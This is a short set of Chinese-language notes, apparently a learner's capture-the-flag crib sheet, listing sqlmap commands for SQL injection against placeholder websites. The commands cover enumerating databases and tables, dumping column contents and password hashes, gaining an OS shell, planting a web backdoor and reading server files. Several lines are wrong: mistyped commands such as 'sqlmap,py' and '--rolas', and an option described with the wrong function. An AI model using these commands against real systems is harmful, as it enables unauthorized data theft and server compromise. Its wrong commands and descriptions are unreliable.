常用语句

扫描

1
python sqlmap.py -u “网站”

查询当前数据库下的所有数据库

1
python sqlmap.py "网站" -dbs

判断文件是否存在注入

1
python sqlmap.py -r 文件名(文件名要有正确的路径)

获取数据库中的表名

1
python sqlmap.py -u "网站" -D 数据库 --tables

获取表中的字段名

1
python sqlmap.py -u "网站" -D 数据库 -T 表名 --columns

获取字段类容

1
python sqlmap.py -u "网站" -D 数据库 -T 表名 -C 字段名 --dump

获取数据库密码

1
python sqlmap.py -u "网站" --passwords

获取当前数据库网站的名称

1
python sqlmap,py -u "网址" --current-db

获取当前网站数据库用户名称

1
python sqlmap,py -u "网址" --current-user

level等级

总共有1-5共计5个等级,套测等级越高,使用时间越长,GET和POST的数据都会进行测试,HTTP cookies在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试

进阶版(都还没试过)

1
--is-dba

查看是不是管理员权限

1
--rolas

列出数据库管理员角色

1
--referer

查看数据库用户的角色

P.S.

  • SQLMap可以在请求中伪造HTTP中的referer,
    当–level参数设定为3或3以上时;
    会尝试对referer注入。可以使用referer命令来欺骗

(还没试过,等遇到题试试去)

1
--sql-shell

执行指定的sql语句

1
--os-cmd,--os-shell

在数据库为MySOL、PostgreSOL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,如果数据库为MySQL、PostgreSQL,SQLMap上传一个二进制库,包含用户自定义的函数sys exec)和sys eval,那么创建的这两个函数就可以执行系统命令。在Microsoft SQL Server中,SQLMap将使用xp cmdshell存储过程,如果被禁用(在MicrosoftSQLServer2005及以上版本默认被禁制),则SQLMap会重新启用它;如果不存在,会自动创建。
用–os-shell参数可以模拟一个真实的Shell,输入想执行的命令。当不能执行多语句时(比如PHP或ASP的后端数据库为MySQL),仍然可以使用INTO OUTFILE写进可写目录,创建一个Web后门。–os-shell支持ASP、ASP.NET、JSP和PHP四种语言(要想执行改参数,需要有数据库管理员权限,也就是–is-dba的值要为True)。

1
--file-read

该命令用于读取执行文件,当数据库为MySQL、PostgreSQL或Microsoft SQLServer,并且当前用户有权限使用特定的函数时